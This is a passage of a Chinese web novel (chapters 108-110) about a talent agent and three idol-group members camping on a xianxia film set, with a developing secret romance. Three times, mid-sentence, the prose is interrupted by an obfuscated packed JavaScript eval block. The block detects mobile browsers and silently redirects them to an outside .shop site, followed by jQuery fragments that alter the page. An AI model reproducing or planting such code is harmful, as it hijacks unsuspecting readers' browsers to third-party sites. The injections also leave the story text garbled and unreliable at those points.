要不是萧子重有求于人,他高低要跟宫欢吵一架,没办法,只好深深吸气,顶着额头上红肿的包,咬牙切齿地好言好语:“欢姐,能借下您的手机吗?我想打个电话。” 萧子重手机掉进水里的事宫欢略有耳闻,她对此表示——哈哈哈哈哈哈哈,活该。 但这种事不能表现得太明显,她收敛了一下笑意,略显严肃地一本正经的胡说八道:“哎,这件事呢我也听说了,确实,啊,我们也不希望这样的事情发生,这对你,对于我们都是一个——” 话没说完,萧子重就瞪着她一副要杀人的模样,宫欢立马不逗人了,闭上嘴,老老实实将手提包打开,露出里面的一堆手机,大方地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126398|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往人面前一摊:“喏,你选吧。” 萧子重垂眼一看,七八个手机堆在一起,各类品牌,各种型号,连老年机都有。 见他无语,宫欢顺嘴解释了句:“都是工作用的。” 比如,用来说狠话啊,骚扰别人啊,被拉黑了换着手机打啊等等,哎,做经纪人就是这样费心思。 萧子重随便选了个智能机,让宫欢解锁后,便拿着手机远离帐篷的范围外,像是生怕被谁听到他的通话内容似的。 宫欢狐疑地盯着他看了会,猜不出他在搞什么猫腻,只好摇着头转身进了帐篷。 帐篷搭好后她就一直在忙工作,任由三人在里面折腾,她没指望他们能把帐篷整理得多好,进去前还在想要不要再砸点钱让人帮忙把帐篷整理一下。 但刚进去,她便被眼前的景象惊到。 帐篷内侧布料上悬挂着三四盏野营灯,暖黄色充斥着帐篷内部,行李箱整齐地立在正中央,像是墙一样将宽大的内部空间隔成了两方独立空间,每一边都放着两张充气床。 还算不错。 宫欢看了一圈,准备坐下休息会,目光先在安声那边看了眼。他正抱着手机和谁聊天,以宫欢对他的熟悉,估计是在跟粉丝说最近的行程。 她将视线移到右边,又是一愣。 比起安声那边,右边的充气床简直是豪华版的,床上三件套齐全,连床头柜都有。 而其中一张床边,奚亭云正坐在一张小马扎上面,他单手捧着剧本,指节抵在剧本中间,捏着纸页一角随时翻动,壁灯的暖光落在他侧脸,柔柔暖暖的勾勒出半边脸的轮廓。 宫欢刚才在视频会议里雷厉风行,效率极高,否决了四五版方案,又敲定了赵莉莉的后期宣发内容,没有任何犹豫不决的情况。 此刻,她心里却浮现出一个问题。 选左边,还是右边? 几秒前还在夸赞是哪位田螺公子将帐篷布置得井井有条的宫欢,这一刻非常埋怨,到底是谁非要把床两两隔开,就不能分三一,或者四张床都一一分开? 这么两张对两张,让她怎么选。 三男一女,分床的人到底有没有想过她的处境啊。 真是一点儿事都不懂。 她纠结了会,左看看,右看看,偏偏帐篷内两人都专注着自己的事,没人张口替她做选择,叫她去自己那边。 这就让宫欢更选择困难了。如果她选安声那边,那奚亭云,十有八九又要给她耍脾气,要是选奚亭云那边,她也承受不住啊。 头大,头痛,头要炸了。 宫欢甚至回头看看远处打电话的萧子重,想让他过来替她做出选择——哪怕是一把将她推到随便哪边,她绝对会顺从地躺在那张床上,然后做出无奈的样子,说只好就这样了。 可惜,萧子重隔得太远,还在跟手机奋战。 那安声呢?宫欢的灼灼目光试图在他身上烧出两个洞,却完全撼动不了安声的专心。 她绝对不能自己选,更不能动,要是被奚亭云发现她的意图,一定又会各种闹别扭,卖可怜,她受不了的。 唯一的解法,就是被迫做出选择,可现在谁都指望不上。 宫欢脑中飞速急转,她身体僵在原地,像是被谁点了穴位,动都不敢乱动。她偷偷瞄了眼奚亭云,他埋头看剧本,头完全没有要抬起来的意思...... 那,她偷偷地往安声那边挪一点,应该不会被发现吧。 仿佛做了十分重大的决定,宫欢甚至轻轻吐气,放轻身体,一点点抬起脚,脚尖朝着安声那边的方向—— “欢欢,”奚亭云头也不抬地出声,宫欢的脚抬在半空,还没落地,她当即怔住,脖颈僵硬地转动着看向奚亭云那边,他仍在看剧本,头都没抬,却对她的一举一动了如指掌,他只说,“床已经铺好了。” 关,她,屁,事! 宫欢心里冒出这么几个大字,脚却仍没落地,像是在心里做着极大的挣扎,她还抱有一丝期望。 直到奚亭云合上剧本,抬头望向她这边,他笑着问:“要喝水吗?” 没等宫欢回答,另一边的安声倒是听见了,他不明所以地“嗯?”了一声,抬头看见宫欢,说:“我也要喝水!” 宫欢闭了闭眼,像是被判了死刑似的,抬起的脚最终落在右边,她快步走到铺好了床被的充气床旁,掀起被子倒在床上盖过头,像是想就此长眠。 而坐在一边小马扎上的奚亭云则是加深了笑意,将剧本放在行李箱上,起身说:“好,我去拿。” 宫欢闷在薄被里,想不通,就是想不通。 不就是亲了一次...亲了两次吗?他凭什么就这么可以替她决定睡在哪边,她就算睡帐篷顶上也没人能管得到她。 他也太大男子主义了!他让她睡哪里她就必须要睡吗!? 她就不,她就要睡行李箱上面,谁敢不让? 宫欢越想越觉得对,给自己打了会气之后,一鼓作气地坐起身,掀开被子准备宣告自己偏要睡没铺床单的充气床。 猝不及防地,迎面撞上笑意盈盈的奚亭云,她怔住的瞬间,手里被塞了一瓶矿泉水,瓶身带着冰凉的水珠,将她手心冰得微凉。 宫欢沉默片刻,刚才一鼓作气的劲儿散开了,她垂着头,眼睛滴溜溜地转了转,气势颇弱、含糊不清地嘟囔:“我*&%要去那边......”说到后面声音越来越小。 奚亭云没听清,他在床头那充当床头柜的行李箱上摆弄着什么:“你说什么?” 宫欢清了清嗓子,觉得自己有选择的权利,她准备义正言辞地大声说出自己的需求:“我要去那边——”睡...... 最后一个字,在她看向奚亭云摆弄的东西后,熄了火。 行李箱上面的小花瓶里不知何时被他装进了一束向日葵,他拿着一瓶矿泉水在往花瓶里倒水,修长白皙的手指沾着晶莹的水珠,手指被浸湿透,一次次往花瓣上洒着水,指骨带着红,像是被什么磨过。 宫欢一个字都说不出来了,彻底哑巴。 “去那边做什么?”奚亭云浇完水,抽着纸巾细致地擦手,仍是好声好气地问她。 她真该死啊。 人家这么温柔善良体贴入微,她却只想摆脱他,活像是将他当成什么吃人不吐骨头的野兽。 宫欢在心里锤了自己两下,当即跳下床,一边往帐篷外冲,一边说:“我要——去那边看看该死的萧子重回来了没!他借我手机那么久还不还!!” 等人一溜烟地跑出帐篷,奚亭云收敛起过分放柔的神情,薄唇紧抿,低着头,擦拭手指的纸巾被他揉得皱了烂了,他将纸巾紧紧攥在手心里,手指用了力,更显出指骨的清晰与锋利。 为什么呢。 她刚才为什么在犹豫呢? 108. 风雨九州3 成功拿到手机,萧子重走得远远的,他看了看自己与帐篷的距离,确保没人能听见他的声音,才迫不及待地登录自己的微信,找到甘惊鸿的微信对话框。 上次通话中断后,甘惊鸿发来了好几条消息。 2025.5.26-02:38 甘惊鸿:【......前辈在忙吗?有时间了可以回个电话给我吗?】 甘惊鸿:【我,最近是不是有点烦。】 甘惊鸿:【我也不知道为什么,只是想多跟前辈多说一些话,跟你说过话之后,我觉得会好一些,如果因为这个让你觉得很麻烦,对不起,我以后会注意的。】 甘惊鸿:【祝您拍戏顺利。】 之后的几天里面,她果真没有再发过半个字。 顺利......顺利个鬼啊! 萧子重反复默读着那几个字,狠狠闭眼。 他几乎能感受到字里行间的失落语气,脑海里浮现她低着头垂下眼的神情。发消息的时间在那天凌晨,她是不是没有睡,攥着手机等他的回复,结果呢,结果呢! 他该死的居然去拍戏,他那时候居然还犹豫。 这样冷落她,画出一条长长的边界线,就差没明着说保持距离。现在好了,她确实如他所愿退回到边界线外,他又想抽死自己,干的都是什么混账事。 那通未接的语音通话在视野里格外刺眼,萧子重的手指慢慢移到上面,似是想触摸一下她那时的温度。 下一秒,手机的屏幕界面切换到了语音通话...... 萧子重愣了一秒,等反应过来他做了什么的时候,顿时手忙脚乱地想以最快的速度挂断,可人越急,越误事,他一个不小心,将手机锁屏了。 语音通话仍在进行中,他急忙再次摁亮手机屏幕,滑开解锁,等回到通话页面准备挂断时,对面接通了。 “...前辈?”那边很安静,传来她有些小心翼翼的询问声,萧子重的心莫名被什么揪紧,酸涩感慢慢涌上来,他咽了咽口中唾液,“嗯。” 两人沉默一阵。 “你——” “我——” 两人不约而同地同时出声,发觉自己抢了话后又连忙止住话头,等对面先说。 又是一阵沉默。 呼吸声变得清晰,像是在以她呼,他吸的频率进行着。萧子重坐在草地上,一只手拿着手机,一只手揪住了一片草叶,在手里无意识地揉搓,草叶的青绿色汁水混进他微汗的手心,黏黏腻腻。 最后还是萧子重先出声,他放低了声音,做出那副她常见的“前辈”姿态:“前两天我的手机掉水里了,所以,一直没有给你回消息。” “喔......”她小声地回,听不出语气。 他真的让她难过了。连对话都这么沉闷,不像之前总是很活泼热情的状态,萧子重心情一点点下降,直至低谷,甚至连眉心都皱着。 他就不该手误回拨这通语音电话,也许解释还不如让她一直误解得好。 他就是阴晴不定,随心所欲,翻脸比翻书还快,一点儿都不靠谱,谁跟他走得近都会被带坏,更别说她了。 萧子重屏住一瞬的呼吸,刚张嘴,想说什么,却被她的声音截住:“那以后我还能给您发消息吗?” 喉头的话当即哽住,萧子重无措地怔住了片刻,他听见自己的声音格外陌生:“你还想给我发消息吗?” “......嗯。”她这个嗯,带点拖长的音,他甚至能听出里面含带的不好意思。 少联系他,别和他走这么近,关清英比他优秀得多,赵莉莉也是她的前辈,比他更能指点她的事业,他在她的身边起不到任何的作用。 他只是一个混了多年,却没有任何作品傍身的,藉藉无名的小演员。 “如果你想的话,就发吧。”他说。 手机里面的声音很轻,没有任何言语,可萧子重却很轻易地捕捉到她那边的声响。人在笑的时候,气息是频繁紊乱的,一下接一下,像是穿透了小小的屏幕,烫到了他的手心。 “萧子重——手机还给我!!” 背后传来熟悉的叫喊声,是宫欢钻出了帐篷到处找人。 萧子重的脸顿时拉了下来,他没注意到自己又恢复成了以往的吊儿郎当,捂着手机站起身往远处走,边走边像说悄悄话似的:“这个手机是我问宫欢借的,我现在在跟剧组,这段时间手机暂时修不好,等我拿到新手机就多回你消息......” 他一一叮嘱交代着,手机那头,甘惊鸿也都嗯嗯的答应。 远远的,宫欢瞄见越走越远的萧子重,撸起袖子就打算冲过去揍他一顿,而萧子重见她过来,更是加快脚步,甚至小跑起来,绕着一顶顶帐篷玩你追我躲。 “呼——我接到的这个角色不知道怎么样,但是剧组还不错,服化道都很走心......” 他左藏右绕,不停向手机那边说着什么,时不时回头看一眼后面追着的人。宫欢到处找人,冲进了好几顶帐篷里又冲出去,看见萧子重的影子就叫几声。 后来实在追不到,她气急败坏地喊:“你再给我躲躲藏藏,工资减半!” 钱果然是最靠谱的,萧子重隔了一会才磨磨蹭蹭地出现,他跑得满头是汗,将电量所剩无几的手机一把塞给宫欢,“给给给,又不是不还你,追了这么半天。” 宫欢也喘着气。剧组几十顶帐篷,占地面积不小,她跑得腿都发软,没好气地瞪了眼萧子重,夺回手机研究了会,看不出来什么,才算作罢。 两人慢悠悠地往回走。 “你刚才一直对着手机嘟嘟囔囔地说什么呢,在跟家人打电话?” “对对对。” “那你跑什么?” “你追着我我能不跑吗?” “你不跑我能追吗!?” 两人就谁追谁跑这事争执着到了回帐篷。帐篷像另开的一道结界,到了门口,宫欢和萧子重十分默契地闭上了嘴,不知各自抱着什么想法,一前一后地进了帐篷。 虽然临到帐篷前没对话,可前面的一段路,两个人的声音并不小,奚亭云还是听见了。 宫欢和萧子重一进帐篷,就被奚亭云的眼神一阵打量。 他嘴角带着点笑意,可眼睛却直直地看着他们:“回来了?” 宫欢隐约幻视他这句话颇像那种——狗血电视剧里的妻子守到深夜看见丈夫回来,幽幽地来了这么一句。 刚才咋咋呼呼闯了不少帐篷的宫欢这会收敛不少,她轻咳一声点点头,然后尽量不看奚亭云的眼睛,径直走到自己的床旁边,拉过薄毯盖住头,试图以3秒入睡法入睡。 她跑得太快,没看见奚亭云与萧子重之间的眼神交流。 男团三人之间有特殊的交流方式,方便在舞台上随时沟通,只是,萧子重没想到会在这种情况上用到。 奚亭云眉头微挑,头微微前倾,眼神带着询问:【你们刚才聊得很开心,怎么一回来就不说话了?】 萧子重:“......”他真是想把宫欢拉起来让她自己去解释这破摊子。 但不行,萧子重仰天长叹过后,一副认栽的表情:【我借了她手机你不是知道吗?】 奚亭云这会脸上没有表情,显得有些冷脸,他抬起手指敲了敲另一只手的手腕:【她出去找你找了半个小时。】 萧子重摊手,满脸被冤枉的模样:【我哪知道她那么想要手机?她借的时候也没那么急啊!】 奚亭云紧绷着脸,眼睛先往别处看了下,又看向萧子重:【你刚才在跟甘惊鸿打电话?】 萧子重瞪大眼睛,大张着嘴巴:【这你都知道?】 奚亭云扯了扯嘴角:【如果甘惊鸿跟我出去半小时——】 萧子重瞪着的眼睛变得狠厉带着怒气:【你想都别想!】 奚亭云又看了眼装鹌鹑的宫欢:【那希望你能有点分寸。】 萧子重:【劳资知道了!】 帐篷里安静非常,一根针掉在地上都能听见,两人间的你来我往使氛围变得奇怪,以至于躺在充气床上玩手机的安声都发觉了,他下意识抬起头往帐篷入口那看了眼,便发现叉着腰满脸烦躁的萧子重。 安声一秒加入战局,他连眨几下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126399|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,看奚亭云与萧子重:【怎么啦怎么啦?欢姐睡着啦,你们在聊什么?】 奚亭云斜安声一眼,萧子重也瞪他。 【别问。】 【闭嘴!】 安声被两人瞪得缩了缩脖子,把自己埋进薄毯里,继续和粉丝聊最近的行程。 外面的战火纷飞宫欢是一点都没感觉,她只觉得薄毯里的空气越来越稀薄,她需要新鲜空气。 可是,薄毯外面是难对付的奚亭云,她愁得脸垮着,像是要哭。 好在帐篷里的灯关了,一阵窸窸窣窣的声响过后,人大概都上了床准备睡觉,宫欢特意等了好一会,甚至竖起耳朵听旁边的呼吸,确定应该安全了,她才悄悄摸摸地掀起薄毯一角,露出一张脸去呼吸新鲜空气。 天知道那薄毯密封性多好,宫欢差点憋死在里面。 她呼吸着,视线在漆黑的帐篷里适应了会。她的充气床摆在‘行李箱墙壁’的旁边,隔着两个人的位置处还有一张床,那上面就躺着奚亭云。 此刻她面朝着‘墙壁’这边,背后是对着奚亭云的。 好,这一晚上她都不打算翻身了! 呼吸畅快后,她反而更精神,对着墙壁发了会呆,忽然想起来自己要看看手机,有没有重要消息回复,可这想法过后,她又想到,在把手机借给萧子重之后,她随手将手提包放在了‘床头柜’。 也就是说,她需要完成翻身,拿手机,这两个动作。 那么问题来了,奚亭云现在的睡姿是什么样的? 如果他背对着她,那宫欢没有任何负担地拿了手机就行,可他要是正对着她...... 万一他没睡着,只是眯着眼,那她一点点的动静就能惊醒他,到时他一睁眼,宫欢根本无法应对。 其实也就是看她,没什么的,宫欢不断劝说着自己。 看一眼又不会少块肉,看一眼也不会流血。 哈,亲都亲了,看一眼算什么。 搞得她好像没见过什么大场面。 宫欢这么想着,在薄毯里翻了个身。 这下是面朝着奚亭云那边了,她呼出气,做好心理准备,手指捏着绒绒的薄毯,轻轻抬起来。 漆黑的夜色在帐篷里飘散,目之所及的是全然的黑,有些许物体的边缘轮廓勉强能看清,宫欢也是看了好一会,才发现,那漆黑的,在夜色里难以辨认的是一双眼睛。 眼睛仿佛裹挟着黑夜的幽深般不见底,悄无声息地潜藏在浓重夜色里,不为人知,静静地,深深地,看着她。不仔细辨认的话,是无法轻易找到这双眼睛的。 他一直在看着她。 他没有睡着,甚至没有闭上眼睛。 宫欢的手指紧攥着薄毯的细绒,心跳奇异地加速跳动,在耳边沉重地噗通作响,吵得耳膜发疼,她就这么维持着掀开的姿势,通过身侧的一个小缝隙与他对视着。 微妙的沉默。 手臂逐渐泛酸,实在撑不住了,她索性一了百了地直接掀开薄毯,空气瞬间扑面而来,凉意扑在她微热的脸颊上。 亲都亲过了,亲都亲过了。 靠着不停催眠自己,宫欢强行无视他,半坐起身体,伸手去‘床头柜’上的手提包里摸手机,拿到常用的手机,她继续无视奚亭云,装作自然地处理消息。 事务众多,全部折腾完至少过了半个多小时。宫欢眼睛干涩,揉了揉眼,将手机锁屏放回包里,准备躺下时,看了看奚亭云。 他仍在看她。 如果不是他在呼吸,宫欢会以为他是雕塑,或是石化了。 想继续无视,可对方这样盯着,宫欢睡觉都后背发凉,她忍了忍,忍不住。 “你能不能,闭上眼睛?”她说。 奚亭云顿了会,没有应声,在长久地沉默中慢慢闭上眼。 充气床足够大,他是侧着睡的,可还是蜷缩成团,大半身体像是在往宫欢这边倾靠,哪怕中间隔着距离。 眼睛是闭上了,可宫欢总隐约感觉,奚亭云还在看她,即使有阻碍,有限制,他还是在看她。 那视线,如影随形。 109. 要不要在这里接吻。 清早,帐篷外传来阵阵鸟鸣,帐篷外传来脚步声与交谈声,剧组人员开始准备工作。 宫欢的正常起床时间是十一点到十二点左右,她睡眠不深,没多久便被吵醒,有些烦躁地拉着薄被将整个头都盖住。 昨晚她睡到半夜发现自己没换衣服,穿着一身天蓝色的西服裙就躺下了,到了半夜怎么睡怎么膈应,爬起来换了睡衣才又睡下。 她真是昏了头,被奚亭云牵扯着神经,连日常的习惯都差点忘记。 怎么不太对呢,明明上次测试的是她能掌控他的情绪,怎么现在反而是她深陷其中了? 越想脑子越清醒,宫欢索性坐起身,打了个哈欠,顶着泪眼朦胧的一张脸刚想下床——看见邻床上空空荡荡,没有人。 更是清醒,宫欢下了床,绕过行李箱墙壁,看见隔壁的两人还呼呼大睡着呢。 他起这么早,宫欢又忍不住想,他去做什么了呢? - 【风雨九州】剧组里上上下下忙碌着调配调度,男女主演都已到齐,开机仪式也举行过,今天就能拍第一场戏。 第一场戏通常不是按剧本顺序拍摄,多数时候要看环境因素,剧组临时选点,找到了山中一处水墨画般的景色。 雨后,加上雾气环山的时刻不多,导演催着进度才能在两天时间里完成布景。 仙侠剧比之其他言情剧,古装剧要麻烦得多,搭建绿棚,调整威亚线与机位位置需要精确到点,尤其遇上多人大场面,更是需要多人威亚协配。 剧组的几十顶帐篷都围绕着一片湖泊而建,这片湖水色青绿,伸手下去却又十分澄澈,风一吹过涟漪阵阵,配上云雾缭绕的山,十足的深山静雅。 道具组的人站在湖边,朝湖心坐船的几个人吆喝着,威亚的高度,等下要什么效果。今日这场戏是湖面对弈,难度颇高,要让女主坐在湖心,还要不湿衣角。 导演想要这样的镜头,底下的人就得想办法去达到目标,一群人为了威亚怎么吊最自然在那争执着。 奚亭云就这么看着他们争吵。 他一早就搬来了马扎,坐在湖边看剧本。 其实没几句台词,甚至没有一页A4纸大小的文字描述——只写了半张的人物设定和一句标志性台词。 可他看了又看,看了又看。 说来奇怪,他并不像另外两人那样想——“简单的剧情”,“一两句台词”,总觉得这剧本不够好,拿到的都是不够立体的人物角色。 他拿到的角色人物简介非常简洁,一目了然,可又隐藏了很多的事情,那些隐藏的,未被写明的,就是他需要去探索的。 《表演的力量》里说,“剧本里所写的是你需要呈现的,而剧本里没写的,则是你要去探索和找到的。” 他想找到什么? 仔细看他的角色,一个探花郎,死因是回乡途中被人暗算,那么,他是不是可以这么想——探花郎参与科考时惹了一些人,触动了他们的利益,才会导致他回乡中被杀害,死法还那么凄惨。 他死后,家里有没有父母亲人知道,还是就此无人知晓,曝尸荒野。 他有心上人吗?这么赶着回乡,会不会是想趁着风光时,娶心爱之人。 奚亭云就这么发散思维,一点点去想,去猜测。他所要饰演的角色是什么样的人,他本该有着怎样的人生,却终究失之交臂。 湖心那边威亚总算调整好了,等着女主演过去开拍。 奚亭云静静地看着,陌生的剧组,来往的工作人员都在忙碌,他有些格格不入。 他努力吸收着陌生的事物,不断学习,以求最快的速度让自己适应,但很多时候奚亭云总会觉得,他像是一张纸被割开的一角,能拼凑成型,可始终不是一张。 对了,他还要练习一下如何在镜头前表演自然,这点要去请教一下萧子重。表演老师的教课方式奚亭云吸收了一部分,但他还没有真正的面对过镜头,总有些发怵。 舞台上的不算,舞台镜头是需要你去直视面对的,展现自己最好的一面。 而影视镜头则是需要你忽略它,无视它,避开刻意的表演,要更加沉浸,哪怕周围里三层外三层全是人,上百个人盯着你看,举着手机对着你,你也要深度入戏,不受干扰。 奚亭云继续保持着眺望远处景色的动作,眼神逐渐空洞,思绪全然投入在自己的世界里。 - 帐篷里,熟睡的萧子重和安声被宫欢强行叫起来,意识还没清醒,便被她劈头盖脸地一通对比:“你们是猪吗,天天除了睡就是吃,能不能有点上进心,别让我操心,看看人家奚亭云,我从来都不用管。” 两人怨念深重地爬起来,磨磨蹭蹭地换衣服,心里对奚亭云的怨恨值越升越高。 宫欢梳着头发,一只手拿着手机翻看工作消息,嘴里也不停:“剧组五六点就在准备拍摄了,你们看看自己睡到了几点,就算没你们的戏份,看看其他演员的表演,多学习一点不好吗?” 萧子重不惯着宫欢的毛病,他走到换衣间换衣服,声音闷了点,吐字却十分清晰:“我需要向他们学习?十年专业表演经验,话剧舞台经验,需要向他们这些流量明星学?你搞搞清楚好哇?” 宫欢将发梳放在一边,站在帐篷中间学他阴阳怪气的方言腔调:“是啊是啊,您萧大戏骨十年表演经验还不如人家一个月速通培训班出来的人火呢。” “宫欢!”萧子重伸手抓住了换衣间的门帘,探出头来,“杀人不诛心是美德懂吗!” 宫欢轻哼一声,正想说点什么,身后的帐篷被人掀开,本来还算安静的帐篷里顿时传入一阵嘈杂的交谈声,没等宫欢去看,帐篷里又很快安静下来。 还坐在床上出神的安声看见来人,带着刚起床的语气,半死不活:“奚哥,这么早你去哪儿了?” 宫欢回过头,看见奚亭云一脸温和地朝她笑,他两手拎着热腾腾的早餐,没有回答安声的话,而是对着宫欢说:“剧组在发早餐,我去拿了点,饿了吗?” 早餐都拿回来了,不饿也得饿,她点点头。 行李箱充作餐桌,奚亭云将餐食放在上面一一打开,剧组的伙食不算丰盛,清粥小菜、包子油条,能吃饱就行,所有人一视同仁,都吃这些,除了一些主演自掏腰包带饭那也就另当别论。 萧子重换好衣服出来,看见宫欢和安声已经在开吃了。他几步过来,捏起个小包子往嘴里塞,腮帮鼓起着说:“哪儿来的早饭啊?” “奚哥带回来的,说是剧组早餐,要去领才有。”安声小口喝着粥应道。 萧子重目光在帐篷里扫了一圈,落在正给床头柜花朵换水的人身上。虽然看得不是很清楚,但奚亭云嘴角的笑意很明显,萧子重咬了口油条,纳闷着:“老奚走了什么魔,最近笑得越来越荡漾了。” “是啊,以前奚哥都很沉默的,连说话都不多,更别说笑了,”安声直言直语地乱猜,“他不会是恋爱了吧?” “噗——咳咳咳!”宫欢喝粥的动作僵住,被米粒呛住喉咙,咳嗽好几下脸憋得涨红,“咳咳咳…” 安声这时关心起她来了:“欢欢姐,慢点吃啊。” “可不是嘛,”萧子重意味深长地挑眉,低头看宫欢,“别咬着舌头了,欢~欢~姐。” 宫欢听出他的阴阳怪气,却听不出他的言下之意,她不由得瞪他一眼,骂了两句,放下粥碗,起身准备往外走,走到一半又想到什么,侧过头看向奚亭云那边:“你跟我出来一下。” 两人前后出了帐篷。 宫欢走在前面,速度不快,奚亭云就一直跟着她,来到湖边。 这片湖不算桂林大景点,只是较为偏僻,需要去细找的景色,当然也就没有名字。 青碧色的湖面映出宫欢的身影,风吹起的湖面涟漪将她的倒影折成一段段,接着奚亭云的倒影出现,两人的倒影无声交叠。 他脚步很轻,踩在草地上发出窸窣的轻响,如风吹过草地,轻柔得过分。 宫欢没回头看他,她看向远处的湖心上正在拍摄的过程:“初次进组,对剧组的感觉如何?” 公式化的询问。 “还好,我在适应。” 宫欢抱着手臂,淡粉色的指甲轻轻扣动着衣服,她在紧张。太明显。 “嗯...”她还是没看他,只是反复用鞋尖去碾脚下的那片草,“前几天的事,我们两个的事情,你跟别人说过吗?” 没有。他该这么说,也应该很快地告诉她。 但是他突然不想了,不想她总是让他藏起来。即使暧昧,亲昵,可等那些亲密时刻过后,她又抽身离开,一切他以为能靠近的信号都是假象。 她只是想玩一玩吗? 还是像在音乐节那时说的,她以为他想上位,只是为了获取资源? “你想让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126400|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说吗?” “当然不了!”宫欢听他这么模糊地回答,整个人显得有些焦躁,她转过身来靠近他,甚至伸出手半强迫地抓住他的手臂,“你谁都不能说!” “为什么?”奚亭云保持着镇静,即使他的视线不受控地略过她的唇,他必须保持冷静,“我很见不得人吗?” 为什么,为什么为什么,宫欢从未感觉这道题如此之难,人生中的难题之多,却也不过这道。 他演技愈发精进了,说出这句话后,垂着眼眸看她,纤长眼睫遮去了大半眸色,剩下点黑压压的阴影。 像失落,像质问,像要她一定给个回答。 宫欢有点发怵,实在是最近发生的事太不受控,好像一切都在推着她走,而她走的方向那边站着奚亭云,她有点恐慌,为什么是他,怎么是他。 她自己都想不清楚为什么会是他,搞不清她到底是什么想法,更别说去清楚地描述。 “刺激。”宫欢冷不丁冒出这句话。 奚亭云疑惑地皱了下眉,宫欢顶着他的视线,硬着头皮说下去:“对,就是因为刺激,所以我才不想让其他人知道......偷偷摸摸的,地下那什么,不是,很刺激吗?” 她几乎是咬着牙说完了整句话,说完有种拿枪打了自己一脚的感觉。 但能怎么办,这个回答确实无懈可击啊! 谁能想出更绝妙的回答!? 不得不说,奚亭云确实被这两个字震慑到,他足足沉默了两分钟。 宫欢焦急地扯了扯他的袖子,催促他:“你先答应我,我们...的事情要保密,谁都不能说。” 她紧抓着的袖角皱成团,那里会留下她的香味,他抬眸,正对上她急切的眼神,也许是失神,还是其他,奚亭云没马上回应她。 “现在不是好时机,你们都在上升期,这个资源是我花了好大力气拿到的,我希望你能专心一点,全神贯注地投入在里面。”宫欢接着努力说服他,“这样对你对我对大家都好。” 哄一个人有多难,更何况这个人还是奚亭云。 他不同于萧子重好拿捏,不像安声好骗,虽然他表面上看着平和温淡,可真要碰到底线,怕是半步都不会让。 宫欢偶尔会产生些错觉,她可以掌控他的情绪,轻而易举地让他唯她是从,可有时候,她又觉得在做一件非常危险的事情,她牵引着他情绪,那无形的丝线一端落在他颈间,而另一端牢牢绑在她的手腕上。 想要拉动大型野兽跟着她走,必然需要哄着,不然他往后一仰头,她就要被扯得回退几步。 她紧张地注视着他,眼睛里只有他一个人,不再多出其他无关紧要的人。 奚亭云深深回看她,比刚才更认真专注,他甚至倾身,上身微微弯下,将两人之间的距离拉近,在宫欢想后退时,反手揽住她的手肘,“我会很认真的去做我该做的事情,不影响你的计划,但是宫欢......” 他一这么叫大名,宫欢就莫名端正身子:“什么?” “你要多看看我,”他说,“不管任何时候,多看我一点,不要下意识忽视我,不要让我总是在你的眼角余光里面,好吗?” 你都睡到我旁边了,我还能怎么忽视你? 宫欢不由得想,脑子转过两个弯,她恢复了往常的不靠谱样:“好。” 得到确切的回答,奚亭云脸上略显阴郁的神情肉眼可见地回缓,他浅笑着,眼神又柔又软,看得宫欢浑身不适,总想找借口溜走。 她正想这么做时,奚亭云又说:“你刚才说的话,是认真的吗?” 宫欢理所当然地点头:“当然了,我从不骗人,不忽视不漠视,大家一视同仁。” “不,不是这个,”奚亭云说,宫欢不明白地仰了仰头,只听见他说,“是,‘刺激’那件事。” 宫欢:“?” 她完全陷入懵逼状态,奚亭云趁着她没反应过来,凑到她耳边,带着微不可闻的气音说:“喜欢刺激?” 大脑已经完全宕机,思维停滞,宫欢呆滞地看他。他眼眸不似平时委婉,像张开了尾巴的狐狸施展出全身招数,眸色潋滟惑人,带着些许的引诱,她竟从中看出了媚色。 潜藏着的暧昧氛围将两人缠绕包裹,呼吸都变得黏腻困难。 他的声音也带着钩子似的,遥遥传来:“要不要在这里接吻。” 宫欢瞳孔地震:“!!?” 110. 风雨九州5 尽管那天的氛围到了,天气晴朗,空气清新,连青草都绿得亮眼,但还是没有接吻这段剧情。 宫欢当时一把推开了奚亭云,“你上瘾了啊!” 她其实想说,还想占我便宜,想得美啊你。但碍于之前两次的接吻都是她主动,只好将这句话改了口。 总之得到了奚亭云不会泄密两人关系的保证,宫欢安心不少。 万一被其他人知道有这种捷径,一个个都来对她使出百般手段,她可应付不来。 在准备开拍前,三人要跟武术指导进行一段时间的练习。戏份不多,但导演对每个细节都要求极高,所以要求所有演员——哪怕是客串的,都必须亲身上阵学习武打戏,如非必要不用替身。 三人的戏份里面,斗法武打偏多,练习武术也就是必备课程,尤其是奚亭云和安声,安声还好,对剧组威亚并不陌生,他之前跳艳舞的时候常用到威亚。 